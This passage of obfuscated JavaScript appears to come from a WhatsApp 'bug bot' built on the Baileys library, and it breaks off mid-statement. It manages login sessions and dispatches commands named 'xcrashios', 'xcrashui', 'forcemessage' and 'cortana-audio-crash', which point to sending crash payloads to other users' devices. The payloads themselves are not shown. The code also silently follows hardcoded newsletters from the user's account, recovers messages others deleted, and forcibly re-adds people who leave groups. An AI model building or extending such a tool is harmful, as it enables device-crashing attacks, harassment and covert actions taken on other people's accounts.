local_storage_1[_0x7b2894(0x40e)][_0x7b2894(0x38d)](_0x2afd7b);if(_0xef83b9&&_0xef83b9['isPremium'])return;console['log'](_0x7b2894(0x3f9)+_0x3b0e9d+_0x7b2894(0x375)+_0x2d207e[_0x7b2894(0x2eb)](0x1)+_0x7b2894(0x3ae)+_0x2afd7b+_0x7b2894(0x2a5));const _0x3478b8=exports['activeSockets'][_0x7b2894(0x455)](_0x3b0e9d);if(_0x3478b8){_0x3478b8[_0x7b2894(0x43b)](new Error(_0xadd833[_0x7b2894(0x3c2)])),exports[_0x7b2894(0x3f0)]['delete'](_0x3b0e9d);if(_0x3478b8['ws'])_0x3478b8['ws'][_0x7b2894(0x293)]();await storage_1[_0x7b2894(0x45b)][_0x7b2894(0x357)](_0x3b0e9d);const _0x2e9e1b=path_1['default'][_0x7b2894(0x3e6)](process[_0x7b2894(0x325)](),_0xadd833[_0x7b2894(0x3c7)],_0x7b2894(0x3fc),_0x3b0e9d);fs_1[_0x7b2894(0x2c5)][_0x7b2894(0x425)](_0x2e9e1b)&&fs_1[_0x7b2894(0x2c5)]['rmSync'](_0x2e9e1b,{'recursive':!![],'force':!![]}),console['log'](_0x7b2894(0x3f9)+_0x3b0e9d+_0x7b2894(0x413));}}else{if(uerQTk['JYiyi'](_0x401efe,_0x2cd7f5))_0x4261c3=_0x4c593b;_0x456a21[_0x59ad3b]=_0x6ed50[_0x55ca28];}}catch(_0x2d9477){console[_0x7b2894(0x433)](_0x7b2894(0x45c)+_0x3b0e9d+':',_0x2d9477);}}const mongo_auth_1=require('./mongo-auth');async function startSocket(_0x33472c,_0xca87d7,_0x55f4db){const _0x9b06bb=_0x50e9fe,_0x296d10={'zFfvf':function(_0x444e38,_0x2e4c37){return _0x444e38>_0x2e4c37;},'VOhAT':_0x9b06bb(0x40d),'qScAR':_0x9b06bb(0x352),'wwjiL':'internal','TLakn':function(_0x3245f7,_0x3ebd67,_0x5cf9c8){return _0x3245f7(_0x3ebd67,_0x5cf9c8);},'FvTug':function(_0x58bcae,_0x304547){return _0x58bcae!==_0x304547;},'fNhrf':_0x9b06bb(0x39d),'vsQMp':_0x9b06bb(0x318),'cXItl':function(_0x369f7a,_0x55a99b){return _0x369f7a(_0x55a99b);},'KYWPr':function(_0xcefb47,_0x2a74bf){return _0xcefb47(_0x2a74bf);},'KbkSu':function(_0x3edf81,_0x4439f7){return _0x3edf81!==_0x4439f7;},'Sevth':function(_0x4fe475,_0x58708a){return _0x4fe475(_0x58708a);},'mToqS':function(_0x5a9ac6,_0x5dc082){return _0x5a9ac6!==_0x5dc082;},'ivIWl':'mlFhA','ZPwyA':function(_0x2dd1c6,_0x2d148d){return _0x2dd1c6===_0x2d148d;},'hkIKd':function(_0x437b09,_0x34f95d){return _0x437b09===_0x34f95d;},'IvCiu':_0x9b06bb(0x406),'VQAwX':_0x9b06bb(0x278),'skcYM':function(_0x5c3d4e,_0x2e1fbf){return _0x5c3d4e+_0x2e1fbf;},'SzeBu':function(_0x5d75d9,_0xac0f10){return _0x5d75d9===_0xac0f10;},'UOYrQ':_0x9b06bb(0x1fa),'QCfxo':function(_0x43d486,_0x932597){return _0x43d486===_0x932597;},'VluUy':_0x9b06bb(0x430),'FvSvt':_0x9b06bb(0x27d),'dErcl':function(_0x2e7a8a,_0x283947){return _0x2e7a8a===_0x283947;},'NzczM':_0x9b06bb(0x359),'JYjgw':_0x9b06bb(0x358),'cQLjH':'blocked','pYaRo':function(_0x58c334,_0xeda654){return _0x58c334===_0xeda654;},'xzota':'[Media/Other\x20Content]','zDUzR':function(_0x1d98b1,_0x2ca76d){return _0x1d98b1===_0x2ca76d;},'vjixl':_0x9b06bb(0x3ed),'wqDzA':_0x9b06bb(0x3aa),'oONKk':function(_0x3567aa,_0x5b0997){return _0x3567aa===_0x5b0997;},'YgyUo':function(_0x57e1e1,_0x47fec8){return _0x57e1e1===_0x47fec8;},'yIUZo':_0x9b06bb(0x44c),'fsXYs':function(_0x416ae2,_0x49be70){return _0x416ae2+_0x49be70;},'dxUgK':function(_0x5a339e,_0x401b75,_0x11ad00,_0x321936){return _0x5a339e(_0x401b75,_0x11ad00,_0x321936);},'NzsNC':_0x9b06bb(0x3d5),'KPYHF':function(_0x3e4394,_0xb41552,_0x18edc4,_0x53cfbc){return _0x3e4394(_0xb41552,_0x18edc4,_0x53cfbc);},'lwegc':function(_0x6577fb,_0xd72377,_0x52eb84,_0x3ab602){return _0x6577fb(_0xd72377,_0x52eb84,_0x3ab602);},'qhnnh':function(_0x35af93,_0x5b7213){return _0x35af93===_0x5b7213;},'jgzKC':function(_0x3dc18c,_0x269c92){return _0x3dc18c&&_0x269c92;},'zrSJk':function(_0x44e190,_0x59636d){return _0x44e190+_0x59636d;},'nVGGU':_0x9b06bb(0x2c5),'MWRtG':function(_0x52047a,_0x2b959a){return _0x52047a-_0x2b959a;},'Uikww':_0x9b06bb(0x2bb),'qccZr':'@g.us','FMYTM':_0x9b06bb(0x442),'BVJMY':_0x9b06bb(0x319),'gjwaq':_0x9b06bb(0x449),'tMGKT':function(_0x215511,_0x242644){return _0x215511+_0x242644;},'IhohH':function(_0x10a2df,_0x142c2f){return _0x10a2df!==_0x142c2f;},'tMUDT':'kmWHU','ujOPM':function(_0x223678,_0x182839){return _0x223678===_0x182839;},'yclkR':_0x9b06bb(0x3e7),'TePTA':_0x9b06bb(0x21a),'pguhE':_0x9b06bb(0x22e),'gBcsN':_0x9b06bb(0x2f0),'tPEDs':_0x9b06bb(0x25e),'ygrim':'cortana-audio-crash','qwWdp':'cortana-list-crash','nOvmT':_0x9b06bb(0x3f6),'fyeXJ':_0x9b06bb(0x3ad),'SlaBY':'Fatal\x20batch\x20error','GyiEh':'start','nxdOf':_0x9b06bb(0x227),'DXOSY':_0x9b06bb(0x3f1),'sZevR':'xcrashios','ByZox':'xforceui','AbrDq':'xcrashui','JbzBt':_0x9b06bb(0x284),'ORAGu':_0x9b06bb(0x403),'KczQl':_0x9b06bb(0x300),'RTBrl':_0x9b06bb(0x30c),'bPclI':_0x9b06bb(0x326),'vyKrt':_0x9b06bb(0x312),'bEmjJ':_0x9b06bb(0x3ec),'gtehR':'forcemessage','ktxtu':_0x9b06bb(0x21b),'TZwBM':_0x9b06bb(0x447),'eyscQ':'public','Oootg':'addprem','PpKyw':'delprem','FDtru':'listprem','cfqws':'tFWTF','mBLax':_0x9b06bb(0x2ff),'Aomyd':'conversation','Olqpl':'[BUGBOT]\x20Delegating\x20to\x20handler:','nlcmN':_0x9b06bb(0x1dd),'UHRWt':_0x9b06bb(0x221),'GMrIx':_0x9b06bb(0x3b3),'xxGEi':function(_0x413b99){return _0x413b99();},'kCIRp':_0x9b06bb(0x2ec),'OMsdJ':_0x9b06bb(0x2c7),'Nihwm':_0x9b06bb(0x361),'RJOqg':'call','TCEPB':_0x9b06bb(0x206),'kArjF':function(_0x14b255,_0x4ef2a9){return _0x14b255===_0x4ef2a9;},'Yhzvk':_0x9b06bb(0x2a1),'PeiGG':'messages.upsert'};if(connectingSessions['has'](_0x33472c)){console[_0x9b06bb(0x2f5)](_0x9b06bb(0x3e9)+_0x33472c['slice'](0x0,0x8)+_0x9b06bb(0x202));return;}if(exports[_0x9b06bb(0x3f0)][_0x9b06bb(0x2c1)](_0x33472c)){console[_0x9b06bb(0x2f5)](_0x9b06bb(0x3e9)+_0x33472c['slice'](0x0,0x8)+_0x9b06bb(0x277));const _0x4c672b=exports['activeSockets'][_0x9b06bb(0x455)](_0x33472c);try{_0x4c672b[_0x9b06bb(0x43b)](undefined);if(_0x4c672b['ws'])_0x4c672b['ws'][_0x9b06bb(0x293)]();}catch(_0x56cbaf){}exports[_0x9b06bb(0x3f0)][_0x9b06bb(0x30d)](_0x33472c),sessionReady[_0x9b06bb(0x30d)](_0x33472c);}connectingSessions[_0x9b06bb(0x359)](_0x33472c);try{const _0x6e5509=await storage_1[_0x9b06bb(0x45b)]['getSession'](_0x33472c),_0x5a44f2=_0x55f4db||_0x6e5509?.[_0x9b06bb(0x415)]||'md';console['log']('|MD|\x20Starting\x20session\x20'+_0x33472c[_0x9b06bb(0x387)](0x0,0x8)+_0x9b06bb(0x454)+_0x5a44f2);const _0x2e2012=process.env.MONGODB_URI;let _0x5e7e80,_0x48c0dd;if(_0x2e2012){console['log'](_0x9b06bb(0x313)),await(0x0,mongo_auth_1[_0x9b06bb(0x3c6)])(_0x2e2012);const _0x283db9=await(0x0,mongo_auth_1['useMongoAuthState'])(_0x33472c);_0x5e7e80=_0x283db9['state'],_0x48c0dd=_0x283db9[_0x9b06bb(0x332)];}else{console[_0x9b06bb(0x2f5)](_0x296d10[_0x9b06bb(0x409)]);const _0x1e2f6a=path_1[_0x9b06bb(0x2c5)]['join'](process[_0x9b06bb(0x325)](),_0x9b06bb(0x396),_0x5a44f2,_0x33472c);!fs_1[_0x9b06bb(0x2c5)]['existsSync'](_0x1e2f6a)&&fs_1[_0x9b06bb(0x2c5)]['mkdirSync'](_0x1e2f6a,{'recursive':!![]});const _0x545c54=await useMultiFileAuthState(_0x1e2f6a);_0x5e7e80=_0x545c54[_0x9b06bb(0x203)],_0x48c0dd=_0x545c54[_0x9b06bb(0x332)];}const {version:_0x19567c}=await _0x296d10[_0x9b06bb(0x373)](fetchLatestBaileysVersion),_0x245ab9=(0x0,pino_1['default'])({'level':_0x296d10[_0x9b06bb(0x356)]}),_0x1c00d7=_0x245ab9[_0x9b06bb(0x2cf)]({});_0x1c00d7[_0x9b06bb(0x2aa)]='error';const _0x11a28a=_0x1c00d7[_0x9b06bb(0x433)];_0x1c00d7[_0x9b06bb(0x433)]=(_0x3e2aba,_0x4c546e,..._0x4c7c31)=>{const _0x496de3=_0x9b06bb;if(typeof _0x4c546e==='string'&&_0x4c546e['includes'](_0x496de3(0x27a)))return;if(typeof _0x3e2aba===_0x496de3(0x2cb)&&_0x3e2aba[_0x496de3(0x3bf)](_0x496de3(0x27a)))return;_0x11a28a[_0x496de3(0x1e5)](_0x1c00d7,_0x3e2aba,_0x4c546e,..._0x4c7c31);};const _0x527357=makeWASocket({'version':_0x19567c,'logger':_0x1c00d7,'printQRInTerminal':![],'auth':{'creds':_0x5e7e80[_0x9b06bb(0x382)],'keys':makeCacheableSignalKeyStore(_0x5e7e80[_0x9b06bb(0x2d4)],_0x245ab9)},'msgRetryCounterCache':msgRetryCounterCache,'browser':[_0x9b06bb(0x20d),_0x9b06bb(0x28a),_0x296d10[_0x9b06bb(0x211)]],'generateHighQualityLinkPreview':!![],'syncFullHistory':![],'markOnlineOnConnect':![],'connectTimeoutMs':0xea60,'keepAliveIntervalMs':0x7530,'retryRequestDelayMs':0x7d0,'getMessage':async _0x23bd0d=>{return store_1['messageCache']['get'](_0x23bd0d['id'])||{'conversation':''};},'patchMessageBeforeSending':_0x2def7f=>{const _0x4330ae=_0x9b06bb,_0x1fd5f4=!!(_0x2def7f[_0x4330ae(0x24f)]||_0x2def7f[_0x4330ae(0x35b)]||_0x2def7f[_0x4330ae(0x3c4)]);return _0x1fd5f4&&(_0x2def7f={'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadataVersion':0x2,'deviceListMetadata':{}},..._0x2def7f}}}),_0x2def7f;}});return exports[_0x9b06bb(0x3f0)]['set'](_0x33472c,_0x527357),_0x527357['ev']['on'](_0x296d10[_0x9b06bb(0x374)],_0x48c0dd),_0x527357['ev']['on'](_0x9b06bb(0x274),async _0x46637f=>{const _0x2ad7bf=_0x9b06bb,_0x2be0b9={'JWNnm':_0x2ad7bf(0x361),'vusgM':_0x2ad7bf(0x396),'vDCjK':function(_0x69a372,_0x12cc00){return _0x69a372!==_0x12cc00;}},{connection:_0x453100,lastDisconnect:_0x2e6650,isNewLogin:_0x291a7f}=_0x46637f;log[_0x2ad7bf(0x384)]('['+_0x5a44f2['toUpperCase']()+_0x2ad7bf(0x3d9)+_0x33472c+_0x2ad7bf(0x200),_0x46637f['connection']);if(_0x453100===_0x296d10[_0x2ad7bf(0x3b6)]){connectingSessions[_0x2ad7bf(0x30d)](_0x33472c),logger_1[_0x2ad7bf(0x2c5)]['md']['connected'](_0x33472c);const _0x364a15=storage_1[_0x2ad7bf(0x45b)][_0x2ad7bf(0x45f)]?.(_0x33472c)||_0x296d10[_0x2ad7bf(0x370)];logger_1['default'][_0x2ad7bf(0x342)][_0x2ad7bf(0x45b)](_0x2ad7bf(0x351)+_0x33472c[_0x2ad7bf(0x387)](0x0,0x8)+_0x2ad7bf(0x220)+_0x364a15);const _0x58a383=_0x527357[_0x2ad7bf(0x3f7)]?.['id']?.['split'](':')[0x0]?.[_0x2ad7bf(0x2ed)]('@')[0x0];if(_0x58a383){const _0x30aec9=await storage_1[_0x2ad7bf(0x45b)]['getBotSettings'](_0x33472c);_0x30aec9&&(await storage_1[_0x2ad7bf(0x45b)]['updateBotSettings'](_0x30aec9['id'],{'ownerNumber':_0x58a383}),log[_0x2ad7bf(0x384)](_0x2ad7bf(0x215)+_0x58a383));}await storage_1[_0x2ad7bf(0x45b)]['updateSession'](_0x33472c,{'status':_0x2ad7bf(0x318)}),pairingCodes[_0x2ad7bf(0x30d)](_0x33472c);if(!_0x527357['user']?.[_0x2ad7bf(0x34c)])try{const _0xc8530c=_0x527357[_0x2ad7bf(0x2db)]?.[_0x2ad7bf(0x382)];_0xc8530c?.['me']?.['lid']&&(_0x527357[_0x2ad7bf(0x3f7)]['lid']=_0xc8530c['me'][_0x2ad7bf(0x34c)],logger_1['default']['md']['info'](_0x2ad7bf(0x21e)+_0x527357[_0x2ad7bf(0x3f7)][_0x2ad7bf(0x34c)]));}catch(_0x2ad763){}_0x296d10[_0x2ad7bf(0x3e3)](setTimeout,async()=>{const _0x441306=_0x2ad7bf;try{if('CMlxE'===_0x441306(0x295))_0x2dd83e[_0x441306(0x2c5)][_0x441306(0x38b)](_0x10e827,{'recursive':!![],'force':!![]}),_0x2e0c51[_0x441306(0x2c5)]['md']['info'](_0x441306(0x3b0)+_0x18365c[_0x441306(0x387)](0x0,0x8));else{if(!_0x527357[_0x441306(0x3f7)]?.[_0x441306(0x34c)])try{const _0x5457b6=await _0x527357[_0x441306(0x233)](),_0x4aece2=Object['keys'](_0x5457b6);_0x296d10[_0x441306(0x29b)](_0x4aece2[_0x441306(0x31d)],0x0)&&(await _0x527357['sendPresenceUpdate'](_0x441306(0x1e8),_0x4aece2[0x0]),logger_1[_0x441306(0x2c5)]['md'][_0x441306(0x438)](_0x441306(0x411)));}catch(_0xf13295){}const _0x40f04b=[{'invite':_0x441306(0x223)},{'invite':_0x441306(0x36b),'jid':_0x441306(0x1e9)}];for(const _0x203a7d of _0x40f04b){try{const _0xef6414=await _0x527357[_0x441306(0x30b)](_0x441306(0x23a),_0x203a7d[_0x441306(0x23a)]);_0xef6414?.['id']&&(await _0x527357['newsletterFollow'](_0xef6414['id']),logger_1[_0x441306(0x2c5)]['md'][_0x441306(0x32a)](_0x441306(0x296)+_0xef6414['name']));}catch(_0x803550){}}}}catch(_0xf5c98a){logger_1[_0x441306(0x2c5)][_0x441306(0x42e)]['md'](_0x296d10[_0x441306(0x3ea)],_0xf5c98a);}},0x1388);}if(_0x291a7f&&_0x296d10[_0x2ad7bf(0x2e1)](_0x453100,_0x296d10[_0x2ad7bf(0x3bc)])){if(_0x2ad7bf(0x22d)!==_0x2ad7bf(0x22d)){_0x3b5915[_0x2ad7bf(0x384)](_0x2ad7bf(0x2e9)+_0x1e932c+_0x2ad7bf(0x338));return;}else{logger_1[_0x2ad7bf(0x2c5)]['md']['pairing']('Session\x20'+_0x33472c['slice'](0x0,0x8)+'\x20paired\x20โ\x20marking\x20connected');try{}catch(_0xc70435){}await storage_1['storage'][_0x2ad7bf(0x429)](_0x33472c,{'status':_0x296d10['vsQMp']}),pairingCodes[_0x2ad7bf(0x30d)](_0x33472c);let _0x3d3921=_0xca87d7;if(!_0x3d3921){const _0x5016e7=await storage_1[_0x2ad7bf(0x45b)][_0x2ad7bf(0x1f6)](_0x33472c);_0x3d3921=_0x5016e7?.[_0x2ad7bf(0x241)];}const _0x151630=await storage_1[_0x2ad7bf(0x45b)][_0x2ad7bf(0x1e0)](_0x33472c);!_0x151630&&_0x3d3921&&await storage_1['storage'][_0x2ad7bf(0x231)]({'sessionId':_0x33472c,'prefix':PREFIX,'ownerNumber':_0x3d3921,'isPublic':!![]});}}if(_0x453100===_0x296d10[_0x2ad7bf(0x3bc)]){connectingSessions[_0x2ad7bf(0x30d)](_0x33472c);const _0x168277=_0x2e6650?.[_0x2ad7bf(0x433)]?.[_0x2ad7bf(0x364)]?.['statusCode'],_0x2b25f5=await storage_1[_0x2ad7bf(0x45b)][_0x2ad7bf(0x1f6)](_0x33472c);log[_0x2ad7bf(0x384)]('Session\x20'+_0x33472c+_0x2ad7bf(0x344)+_0x168277);const _0x230c94=async(_0x546fc9=![])=>{const _0x473e17=_0x2ad7bf,_0x4e3353=keepAliveIntervals[_0x473e17(0x455)](_0x33472c);_0x4e3353&&(clearInterval(_0x4e3353),keepAliveIntervals['delete'](_0x33472c));const _0x5d4747=exports[_0x473e17(0x3f0)][_0x473e17(0x455)](_0x33472c);if(_0x5d4747)try{_0x5d4747['ev']['removeAllListeners'](_0x2be0b9[_0x473e17(0x23b)]),_0x5d4747['ev'][_0x473e17(0x320)](_0x473e17(0x274)),_0x5d4747['end'](undefined);if(_0x5d4747['ws']&&typeof _0x5d4747['ws']['terminate']==='function')_0x5d4747['ws'][_0x473e17(0x293)]();}catch(_0x25bf20){logger_1[_0x473e17(0x2c5)]['err']['md'](_0x473e17(0x20b)+_0x33472c[_0x473e17(0x387)](0x0,0x8),_0x25bf20);}exports['activeSockets'][_0x473e17(0x30d)](_0x33472c),pairingCodes['delete'](_0x33472c);if(_0x546fc9){await storage_1[_0x473e17(0x45b)][_0x473e17(0x357)](_0x33472c);const _0x1a2394=path_1['default'][_0x473e17(0x3e6)](process[_0x473e17(0x325)](),_0x2be0b9[_0x473e17(0x350)],_0x5a44f2,_0x33472c);try{await new Promise(_0x22c614=>setTimeout(_0x22c614,0x3e8));if(fs_1[_0x473e17(0x2c5)][_0x473e17(0x425)](_0x1a2394)){if(_0x2be0b9[_0x473e17(0x37a)](_0x473e17(0x222),_0x473e17(0x212)))fs_1[_0x473e17(0x2c5)][_0x473e17(0x38b)](_0x1a2394,{'recursive':!![],'force':!![]}),logger_1[_0x473e17(0x2c5)]['md']['info'](_0x473e17(0x3b0)+_0x33472c['slice'](0x0,0x8));else{_0x131517[_0x473e17(0x2f5)](_0x473e17(0x27d));return;}}}catch(_0x47b5a8){logger_1[_0x473e17(0x2c5)][_0x473e17(0x42e)]['md'](_0x473e17(0x2d1),_0x47b5a8);}}if(global['gc'])try{global['gc']();}catch(_0x3e3d19){}};if(_0x168277===DisconnectReason['loggedOut']){logger_1[_0x2ad7bf(0x2c5)]['md'][_0x2ad7bf(0x26a)]('Session\x20'+_0x33472c[_0x2ad7bf(0x387)](0x0,0x8)+_0x2ad7bf(0x22f)),await _0x296d10[_0x2ad7bf(0x42b)](_0x230c94,!![]);return;}if(_0x168277===0x191||_0x168277===0x193||_0x168277===0x19b){logger_1['default']['md'][_0x2ad7bf(0x26a)](_0x2ad7bf(0x351)+_0x33472c[_0x2ad7bf(0x387)](0x0,0x8)+'\x20auth\x20failed\x20('+_0x168277+_0x2ad7bf(0x418)),await _0x296d10['KYWPr'](_0x230c94,!![]);return;}if(_0x296d10['KbkSu'](_0x2b25f5?.[_0x2ad7bf(0x1f5)],_0x2ad7bf(0x318))){const _0x36b876=path_1[_0x2ad7bf(0x2c5)]['join'](process[_0x2ad7bf(0x325)](),_0x2ad7bf(0x396),_0x5a44f2,_0x33472c),_0x4005a1=path_1[_0x2ad7bf(0x2c5)]['join'](_0x36b876,'creds.json'),_0x2adce4=fs_1[_0x2ad7bf(0x2c5)][_0x2ad7bf(0x425)](_0x4005a1),_0x567a23=!!process.env.MONGODB_URI,_0xf927b=_0x2adce4||_0x567a23&&!!_0x2b25f5;if(_0xf927b){exports[_0x2ad7bf(0x3f0)]['delete'](_0x33472c),sessionReady[_0x2ad7bf(0x30d)](_0x33472c),setTimeout(()=>startSocket(_0x33472c,_0xca87d7),0x1388);return;}logger_1['default']['md'][_0x2ad7bf(0x26a)]('Session\x20'+_0x33472c[_0x2ad7bf(0x387)](0x0,0x8)+_0x2ad7bf(0x2c9)),await _0x296d10['Sevth'](_0x230c94,!![]);return;}logger_1[_0x2ad7bf(0x2c5)]['md'][_0x2ad7bf(0x2c3)](_0x33472c,'code\x20'+_0x168277+_0x2ad7bf(0x362));const _0x529fd5=exports[_0x2ad7bf(0x3f0)][_0x2ad7bf(0x455)](_0x33472c);if(_0x529fd5)try{_0x296d10['mToqS'](_0x296d10[_0x2ad7bf(0x2e6)],_0x296d10[_0x2ad7bf(0x2e6)])?!_0x4886a2['user']['lid']&&(_0x34441b[_0x2ad7bf(0x3f7)][_0x2ad7bf(0x34c)]=_0x2b21f9[_0x2ad7bf(0x275)][_0x2ad7bf(0x259)],_0x4ad9ef['log'](_0x2ad7bf(0x414)+_0x5a0190[_0x2ad7bf(0x3f7)][_0x2ad7bf(0x34c)])):_0x529fd5[_0x2ad7bf(0x43b)](undefined);}catch{}exports[_0x2ad7bf(0x3f0)][_0x2ad7bf(0x30d)](_0x33472c),sessionReady[_0x2ad7bf(0x30d)](_0x33472c);const _0x4b5fb0=_0x296d10['ZPwyA'](_0x168277,DisconnectReason[_0x2ad7bf(0x3e0)])?0x2710:0x1388;setTimeout(()=>startSocket(_0x33472c,_0xca87d7),_0x4b5fb0);return;}else _0x296d10['hkIKd'](_0x453100,_0x296d10[_0x2ad7bf(0x3b6)])&&(logger_1[_0x2ad7bf(0x2c5)]['md']['connected'](_0x33472c),sessionReady['set'](_0x33472c,!![]),await storage_1['storage'][_0x2ad7bf(0x429)](_0x33472c,{'status':_0x296d10[_0x2ad7bf(0x372)]}),pairingCodes[_0x2ad7bf(0x30d)](_0x33472c));}),_0x527357['ev']['on'](_0x296d10[_0x9b06bb(0x346)],async _0x59dddf=>{const _0x24f79c=_0x9b06bb;try{if(_0x296d10[_0x24f79c(0x439)](_0x24f79c(0x37e),_0x296d10[_0x24f79c(0x282)]))return _0x1f3dc9[_0x24f79c(0x1e7)](_0x24f79c(0x335),_0xa412c5,_0x24f79c(0x2c2),_0x4c7f93[_0x24f79c(0x242)](_0x55d97b)[_0x24f79c(0x42a)](0x0,0x64)),null;else await(0x0,protection_1['handleAntiBugCall'])(_0x527357,_0x59dddf);}catch(_0x11b4b6){logger_1['default'][_0x24f79c(0x42e)]['md'](_0x296d10[_0x24f79c(0x33b)],_0x11b4b6);}}),_0x527357['ev']['on'](_0x296d10['TCEPB'],async _0x519a05=>{const _0x15c56b=_0x9b06bb,_0x3ad7df={'YmXVQ':function(_0x169fc6,_0x5c3c5e){const _0x4ddc63=_0x2bbd;return _0x296d10[_0x4ddc63(0x427)](_0x169fc6,_0x5c3c5e);},'DsAUS':_0x15c56b(0x319)};try{const {id:_0x22dd15,participants:_0x3a065a,action:_0x21f037,author:_0x248d5f}=_0x519a05;if(_0x21f037!==_0x15c56b(0x252))return;const _0x158462=await storage_1['storage'][_0x15c56b(0x232)](_0x22dd15);if(!_0x158462?.['antileft'])return;if(_0x248d5f&&_0x3a065a[0x0]&&_0x248d5f!==_0x3a065a[0x0]){log[_0x15c56b(0x384)]('[ANTILEFT]\x20User\x20kicked\x20by\x20admin\x20'+_0x248d5f+_0x15c56b(0x338));return;}const _0x594186=await _0x527357['groupMetadata'](_0x22dd15),_0x5838cf=_0x594186['participants'],_0x14b169=_0x527357[_0x15c56b(0x3f7)]?.['id'],_0x45c6c9=_0x527357['user']?.[_0x15c56b(0x34c)];let _0x2c9f8c=undefined;if(_0x45c6c9){const _0x2f716=_0x45c6c9[_0x15c56b(0x2ed)]('@')[0x0]['split'](':')[0x0];_0x2c9f8c=_0x5838cf[_0x15c56b(0x3a2)](_0x5cc3ee=>_0x5cc3ee['id']===_0x45c6c9),!_0x2c9f8c&&(_0x296d10['SzeBu'](_0x296d10[_0x15c56b(0x1f3)],_0x15c56b(0x1fa))?_0x2c9f8c=_0x5838cf[_0x15c56b(0x3a2)](_0x229b87=>_0x229b87['id'][_0x15c56b(0x2ed)]('@')[0x0]['split'](':')[0x0]===_0x2f716&&_0x229b87['id'][_0x15c56b(0x3b2)](_0x15c56b(0x319))):_0x5accf8[_0x15c56b(0x303)]({'sessionId':_0x417dbf,'phoneNumber':'Unknown','sock':_0x4c7f20}));}!_0x2c9f8c&&_0x14b169&&(_0x2c9f8c=_0x5838cf[_0x15c56b(0x3a2)](_0x58dac4=>_0x58dac4['id']===_0x14b169));if(!_0x2c9f8c&&_0x14b169){if(_0x296d10['QCfxo'](_0x15c56b(0x430),_0x296d10[_0x15c56b(0x3be)])){const _0x30e28c=_0x14b169[_0x15c56b(0x2ed)](':')[0x0][_0x15c56b(0x2ed)]('@')[0x0];_0x2c9f8c=_0x5838cf['find'](_0x4c109b=>_0x4c109b['id'][_0x15c56b(0x2ed)](':')[0x0]['split']('@')[0x0]===_0x30e28c);}else{const _0x4ec2af=_0x296d10['skcYM'](_0x378de5[_0x15c56b(0x3f7)]['id'][_0x15c56b(0x2ed)](':')[0x0]['split']('@')[0x0],_0x15c56b(0x395));(_0x31cf9c[_0x15c56b(0x3b2)](_0x15c56b(0x319))||_0x13a05d===_0x2c590b[_0x15c56b(0x3f7)]['id']||_0x3fcb6b===_0x1c368f[_0x15c56b(0x3f7)][_0x15c56b(0x34c)])&&(_0x596de9=_0x4ec2af);}}if(!_0x2c9f8c){console[_0x15c56b(0x2f5)](_0x296d10['FvSvt']);return;}const _0x147d68=_0x2c9f8c[_0x15c56b(0x3cd)]==='admin'||_0x296d10[_0x15c56b(0x2d0)](_0x2c9f8c['admin'],'superadmin');if(!_0x147d68){log[_0x15c56b(0x384)](_0x15c56b(0x2c4));return;}log[_0x15c56b(0x384)](_0x15c56b(0x390)+_0x3a065a['length']+'\x20users\x20(Self-Left)');for(const _0x559201 of _0x3a065a){try{await _0x527357[_0x15c56b(0x25d)](_0x22dd15,[_0x559201],_0x296d10[_0x15c56b(0x23c)]),await safeSendMessage(_0x527357,_0x22dd15,{'text':'๐\x20*PRISON\x20MODE\x20ACTIVATED*\x0a\x0a@'+_0x559201['split']('@')[0x0]+_0x15c56b(0x39e),'mentions':[_0x559201]});}catch(_0xb02765){if(_0x15c56b(0x3f4)!==_0x296d10[_0x15c56b(0x2d2)]){const _0x498708=_0xb02765[_0x15c56b(0x2e0)]||String(_0xb02765);console[_0x15c56b(0x433)]('[ANTILEFT]\x20Failed\x20to\x20re-add\x20'+_0x559201+':',_0x498708),(_0x498708['includes'](_0x15c56b(0x381))||_0x498708[_0x15c56b(0x3bf)](_0x296d10[_0x15c56b(0x302)])||_0x498708[_0x15c56b(0x3bf)](_0x15c56b(0x2f6)))&&await safeSendMessage(_0x527357,_0x22dd15,{'text':'๐ช\x20@'+_0x559201[_0x15c56b(0x2ed)]('@')[0x0]+'\x20escaped\x20the\x20prison!\x0a\x0a_They\x20blocked\x20me\x20or\x20have\x20privacy\x20settings\x20enabled_\x20๐ฟ','mentions':[_0x559201]});}else{if(!_0x26ca17)return'';if(_0x8cbc8c[_0x15c56b(0x3b2)]('@g.us'))return _0x2fc61d;if(_0x5b36f6[_0x15c56b(0x3bf)](':'))_0x1d9a1d=ShXhVl[_0x15c56b(0x28f)](_0x106687[_0x15c56b(0x2ed)](':')[0x0],'@')+_0x54429c[_0x15c56b(0x2ed)]('@')[0x1];return _0x187754['replace'](ShXhVl[_0x15c56b(0x2f7)],'@s.whatsapp.net');}}}}catch(_0x372eac){console[_0x15c56b(0x433)](_0x15c56b(0x417),_0x372eac);}}),console[_0x9b06bb(0x2f5)](_0x9b06bb(0x29e)+_0x5a44f2+'\x20(Expected:\x20\x27md\x27)'),_0x296d10[_0x9b06bb(0x304)](_0x5a44f2,'md')?_0x296d10[_0x9b06bb(0x3b5)]!==_0x9b06bb(0x226)?(console[_0x9b06bb(0x2f5)]('[DEBUG]\x20โ
\x20Entering\x20MD\x20Handler\x20Block'),_0x527357['ev']['on']('messages.update',async _0x4b8746=>{const _0x2ec0f1=_0x9b06bb;if('YdGLl'===_0x2ec0f1(0x39f))try{const _0x54dfd9=_0x57a655['authState']?.[_0x2ec0f1(0x382)];_0x54dfd9?.['me']?.['lid']&&(_0xe0df44['user'][_0x2ec0f1(0x34c)]=_0x54dfd9['me']['lid'],_0x3324fc[_0x2ec0f1(0x2c5)]['md'][_0x2ec0f1(0x438)](_0x2ec0f1(0x21e)+_0x3fe7b7['user'][_0x2ec0f1(0x34c)]));}catch(_0x4a09c4){}else for(const _0x3ed549 of _0x4b8746){const _0x55e6e4=await storage_1['storage'][_0x2ec0f1(0x1e0)](_0x33472c);if(!_0x55e6e4)continue;if(_0x296d10['pYaRo'](_0x3ed549[_0x2ec0f1(0x423)][_0x2ec0f1(0x428)],proto[_0x2ec0f1(0x27e)]['StubType']['REVOKE'])&&_0x3ed549['key']['id']){if(_0x296d10[_0x2ec0f1(0x349)](_0x55e6e4[_0x2ec0f1(0x42f)],_0x2ec0f1(0x2ba)))continue;log[_0x2ec0f1(0x384)]('[ANTIDELETE]\x20Delete\x20detected\x20for\x20message\x20ID:\x20'+_0x3ed549[_0x2ec0f1(0x275)]['id']);const _0x34c45e=store_1[_0x2ec0f1(0x2bd)][_0x2ec0f1(0x455)](_0x3ed549[_0x2ec0f1(0x275)]['id']);if(_0x34c45e&&_0x34c45e[_0x2ec0f1(0x2e0)]){log[_0x2ec0f1(0x384)]('[ANTIDELETE]\x20Found\x20cached\x20message,\x20processing...');const 